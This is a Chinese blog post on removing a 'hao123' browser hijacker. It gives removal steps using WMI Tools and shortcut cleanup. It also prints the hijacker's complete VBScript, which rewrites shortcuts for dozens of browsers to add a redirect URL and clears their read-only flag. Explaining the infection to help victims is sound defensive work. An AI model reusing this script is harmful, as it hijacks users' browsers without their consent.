清除hao123浏览器劫持小尾巴病毒

有强迫症，每次打开浏览器都会重定向hao123网址，万分。

解决方法:

1:修改桌面的浏览器快捷方式。右键-->属性，删除“http://hao.qquu8.com/?m=yx&r=j3”,需要全部删除。

2:下载 WMI Tools 点那个钢笔图标，一路 OK ，然后找到事件删除就可以了。同时别忘了手动删除所有浏览器快捷方式属性-属性-目标后面的网址。

下载地址：https://dl.pconline.com.cn/download/765775-1.html

3:删除之前，查看下源码：红色部分就是添加小尾巴到系统的浏览器位置，在右键属性，记得全部删除。蓝色部分，是各浏览器exe运行进程，坑！！！

On Error Resume Next:Const link = "http://hao.qquu8.com/?m=yx&r=j3":Const link360 = "http://hao.qquu8.com/?m=yx&r=j3&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,opera.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UserslenovoDesktop,C:UserslenovoAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UserslenovoAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UserslenovoAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UserslenovoAppDataRoamingMicrosoftWindowsStart MenuPrograms":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next: